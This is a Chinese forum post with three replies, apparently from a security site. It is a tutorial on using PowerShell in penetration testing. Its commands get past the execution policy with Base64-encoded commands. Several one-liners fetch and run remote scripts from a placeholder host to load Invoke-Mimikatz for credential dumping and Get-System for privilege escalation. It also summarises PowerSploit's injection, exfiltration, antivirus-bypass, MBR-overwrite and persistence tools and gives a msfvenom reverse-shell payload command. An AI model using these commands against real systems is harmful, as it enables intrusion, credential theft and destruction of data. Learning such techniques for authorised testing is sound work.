首页
社区
课程
招聘
[原创]渗透测试中PowerShell的基本使用
发表于: 2021-2-6 14:13 2378

[原创]渗透测试中PowerShell的基本使用

2021-2-6 14:13
2378

大多数环境中,默认不允许使用未签名的PowerShell脚本。

使用下面这条命令可以查看当前执行策略:
cmd:powershell -command Get-ExecutionPolicy

执行策略有四种:
Restricted: 只能运行系统PowerShell命令。要运行自定义命令,只能使用PowerShell交互式模式

AllSigned: 带有可信发布者签名的所有脚本都可运行。
RemoteSigned:仅带有可信发布者签名的已下载脚本才能运行。
Unrestricted:不受限制。可执行所有的脚本。
使用如下命令可以更改策略
cmd:powershell -command Set-ExecutionPolicy Unrestricted

注意:在很多环境中,该值由组策略强制实施。在此类情形中,更改策略并不容易。

以一个简单的WMI查询为例
cmd:powershell -com Get-WmiObject win32_computersystem
回显如下:

Domain : WORKGROUP
Manufacturer : VMware, Inc.
Model : VMware7,1
Name : DESKTOP-MFPO4MO
PrimaryOwnerName : Windows User
TotalPhysicalMemory : 4293902336

当使用管道时需要双引号:
如;
powershell -com "Get-WmiObject win32_computersystem | select username"

PowerShell有一个简便模式,只要脚本不是过长,允许Base64编码的字符串作为脚本进行传递并运行。windows命令行命令的总长度约为8000个字符,因此8000个字符就是上限。

为了创建编码命令,必须经过几处更改。首先PowerShell的encodedcommand选项使用base64编码的unicode字符串,,因此首先需要将文本转化为Unicode,然后编码为Base64,可使用Eric Monti开发的Ruby BlackBag的工具箱。首先在linux下安装Ruby工具箱:gem install rbkb

然后
echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t UTF-16LE | b64
得到

RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcwB0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAHUAcwBlAHIAbgBhAG0AZQA=

cmd中执行
powershell -enc RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcwB0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAHUAcwBlAHIAbgBhAG0AZQA=
因此可以通过编码的方式构建脚本,传递给powershell,这样可以不用考虑脚本执行受阻的问题了。

对于复杂的脚本,进行编码未必是最佳做法。另一个做法是将脚本放在网站上,加载脚本,然后在代码中启动。PowerShell中的函数Invoke—Expression和Invoke—WebRequest可帮助完成这项任务。
Invoke—WebRequest函数默认使用IE引擎,在不包含该引擎的计算机中,需采取变通的方法,确保可以获取到网页。可以使用-UserBasicParsing选项告诉函数不要分析结果,只返回内容。
例如:
powershell -com IEX(iwi -UserBasicParsing http://0.0.0.0/test.ps1)

PowerSploit是一个工具集,可帮助渗透测试人员创建立足点,并在环境中逐步升级。这些工具也包含在其他框架中。
这些工具可帮助建立shell,在进程中注入代码,以及检测和反制病毒软件等,一旦在环境中建立了访问,就可以利用这些工具逐步升级,并导出关键系统信息。

git clone https://github.com/PowerShellMafia/PowerSploit.git

AntivirusBypass子目录包含的脚本有助于确定反病毒软件会将哪些二进制文件确定为恶意软件。可用此处的脚本将二进制文件分成几个部分,然后运行反病毒软件。尽量缩小范围。由此可确定需要对二进制文件中的哪些字节进行修改以绕过AV签名检测。
CodeExecution子目录包含可使shellcode进入内存的不同实用工具。其中一些技术包括DLL注入、对进程的shellcode注入,反射注入,使用WMI的远程主机注入。可以将shellcode注入系统。
Exfiltration文件夹中的工具可帮助获取系统信息。还剋复制锁定的文件,从Mimikatz获取数据等。
Mayhem子目录中的脚本将使用选定的消息覆盖系统的主启动记录(MBR)。
Persistence目录包含的工具可帮助管理员维持对系统的访问。有很多持续访问的机制,包括注册表、VMI和调度任务。这些工具可以创建持续访问,包括普通用户级以及经过权限提升的级别:这样一来,无论需要什么访问级别,都可在目标上方便的实现。
Privesc目录包含的工具有助于提升访问权限。
Recon目录用于信息收集。

首先加载脚本
powershell -com iex(iwr -UserbasicParsing http://x.x.x.x/ps/Exfiltration/Invoke-Mimikatz.ps1)
再运行
Invoke-Mimidogz
如遇到Mimikatz命令执行权限受限,可使用如下脚本提权:
powershell -com iex(iwr -UserbasicParsing http://x.x.x.x/ps/Privesc/Get-System.ps1

使用msf生成攻击载荷,
msf > use muilti/handler
msf exploit(handler) > set payload
......
msfvenom -p windows/x64/meterpreter/reverse_https --format c LHOST=x.x.x.x | tr -d "\n\";" | sed -e 's/\\x/,0x/g' | cut -f 2- -d ','


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 225
活跃值: (329)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这一句有错误, echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t UTF-16LE | b64                                                                                                                                                           b64 : 无法将“b64”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。
所在位置 行:1 字符: 95
+ ... _computersystem | select username" | iconv -f ASCII -t UTF-16LE | b64
+                                                                       ~~~
    + CategoryInfo          : ObjectNotFound: (b64:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
2021-4-9 11:28
0
雪    币: 8203
活跃值: (2738)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
3
qiluword 这一句有错误, echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t ...
多谢指出,我仔细看一下。
2021-4-9 19:56
0
雪    币: 8203
活跃值: (2738)
能力值: ( LV5,RANK:65 )
在线值:
发帖
回帖
粉丝
4
qiluword 这一句有错误, echo -n "Get-WMIObject win32_computersystem | select username" | iconv -f ASCII -t ...
这个需要安装一个ruby工具箱,kali的安装命令是gem install rbkb
2021-4-9 20:02
0
游客
登录 | 注册 方可回帖
返回
//